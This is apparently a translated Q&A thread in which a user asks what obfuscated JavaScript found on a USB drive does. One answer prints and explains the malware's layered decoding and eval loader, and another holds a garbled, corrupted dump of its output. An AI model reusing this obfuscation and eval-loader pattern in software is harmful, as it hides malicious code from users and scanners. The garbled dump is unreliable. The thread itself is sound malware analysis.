1

所以我的一个朋友在他的随身碟里有一段奇怪的代码(可能是由他电脑上的恶意软件放置的)。它让我感兴趣的是,有问题的代码是用混淆的 Javascript 编写的(带有一段混淆的 autorun.inf 可能被感染的易受攻击的主机),除此之外,它没有任何其他奇怪的文件(我使用 ClamAV在他的随身碟上,没有发现恶意软件)。

如果有帮助,有问题的程序位于 pendrive 的 77 文件夹中,并且有两个副本(完全相同),每个副本都有一个有点随机的文件名(见下文)。autorun.inf 显然是在 root 上找到的。

有人可以向我解释这段代码的作用吗?我所做的唯一修改是使用 jsbeautifier.org 来缩进这段代码(之前是一行代码)。

主程序(77/g66ac.js & 77/i6a6a.js):http ://pastebin.com/uj0xSV1e

自动运行.inf:http : //pastebin.com/Aqnmtiq6

抱歉,我无法发布有关此主题的完整代码,因为它超出了字符数限制,所以我不得不将它放在 pastebin 上。

4

2 回答 2

3

我查看了代码并进行了一些调查。与其说是答案,不如说是评论,但渴望评论的方式是:

(function (paramA, paramB, paramC, paramD) {
    someVar = "";
    try {
        paramB = paramB.replace(/[^A-Z0-9]+/gi, ""), paramB = paramB.split([]), someVar = document;
    return
    } catch (e) {
        for (i = 0; i < paramB.length; i += 2) 
          someVar += String.fromCharCode(paramA(paramB[i] + paramB[i + 1], 29));

        String.fromCharCode.constructor(someVar)(paramC, paramD)
    }
})(parseInt, string1, string2, string3)

第一个视图步骤更改文本并从中生成一个大字符数组。然后抛出异常,我们继续循环。循环通过 parseInt 创建一个新字符串。它从数组中获取一个字符和下一个字符,并从中创建一个以 29 为基数的数字。

行 String.fromCharCode.constructor(someVar)(paramC, paramD);

很棘手。因为它需要 someVar 这是一个包含 JS 代码的字符串,所以使用构造函数创建一个匿名函数,该函数被 paramC 和 paramD 调用。

生成的代码如下所示:

kPxRViGad8nHNstI$BVr8Lf="";(function(rycgnpqpq,rycgyjqpq,rycggoqpq,rycglpqpq){rycgnpqpq=rycglpqpq(rycgnpqpq),rycgyjqpq=rycglpqpq(rycgyjqpq);try{eval(rycggoqpq("5eb9485dd4a658f8bf9318976cd9832392d4904d",rycgyjqpq))}catch(rycgbsqpq){}})(arguments[0],arguments[1],function(rycgxhqpq,rycgmfqpq){rycgniqpq="";for(rycgqdqpq=0;rycgqdqpq<rycgmfqpq.length;rycgqdqpq++)rycgniqpq+=String.fromCharCode(rycgxhqpq.charCodeAt(rycgqdqpq%rycgxhqpq.length)^rycgmfqpq.charCodeAt(rycgqdqpq));return rycgniqpq},function(rycgunqpq){rycgfyqpq={},rycgunqpq=rycgunqpq.replace(/[^+A-Z0-9\/]+/gi,""),rycguwqpq="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";for(rycgowqpq=0,rycggdqpq=rycguwqpq.length;rycgowqpq<rycggdqpq;rycgowqpq++)rycgfyqpq[rycguwqpq.charAt(rycgowqpq)]=rycgowqpq;rycgdzqpq=[];for(rycgorqpq=0,rycgrfqpq=rycgunqpq.length;rycgorqpq<rycgrfqpq;rycgorqpq+=4)rycguuqpq=(rycgfyqpq[rycgunqpq.charAt(rycgorqpq)]||0)<<18|(rycgfyqpq[rycgunqpq.charAt(1+rycgorqpq)]||0)<<12|(rycgfyqpq[rycgunqpq.charAt(rycgorqpq+2)]||0)<<6|(rycgfyqpq[rycgunqpq.charAt(3+rycgorqpq)]||0),rycgdzqpq.push(rycguuqpq>>16,rycguuqpq>>8&255,rycguuqpq&255);return rycgdzqpq.length-=[0,0,2,1][rycgunqpq.length%4],String.fromCharCode.apply(String,rycgdzqpq)});

这是一个多重嵌套函数。它最终创建了一个非常大的脚本并在 eval 中运行它。第三个脚本看起来像一些间谍脚本,因为它包含诸如 homepage_is_newtabpage、last_prompted_google_url、stackoverflow、facebook 等字符串。

于 2013-09-05T20:30:05.873 回答
2

这是某种失败——它试图用可能是网络钓鱼或勒索软件重定向的东西重写文档,但它不能正常工作。

[对象htmldocument]kpxrvigĥsti$b̯̐̑f=“”;(functioʜrşnpqpq,rycggyjqpq,rycggoqgoquqgoq˳ƶ̓ǔɤ˳ƶ̓ǔɤ˳ƶ̓ǔɤ˳ƶ̓ǔɤǔʞ 392d4̭ȩʞ̭ȩʞ都没} catchgatchł̓şǔ̯˵̯˵ĉŝŝŝĥ̒ǔuȫuȫuȫuȫuȫuɇuɇƶʒuɇʞƶʒ ;return rycgdzqpq.lenǔǮǒZuȨƴ,2ƴɇ±w̓şǔ ʞ˵˘.lengtǮéʞ¯Ƶ˙̒ȍʞǑǰromCharĈʻżƗǰĥ˘˘ɥŁtrinǑrycgdz˵˘)});

于 2013-09-05T20:18:03.773 回答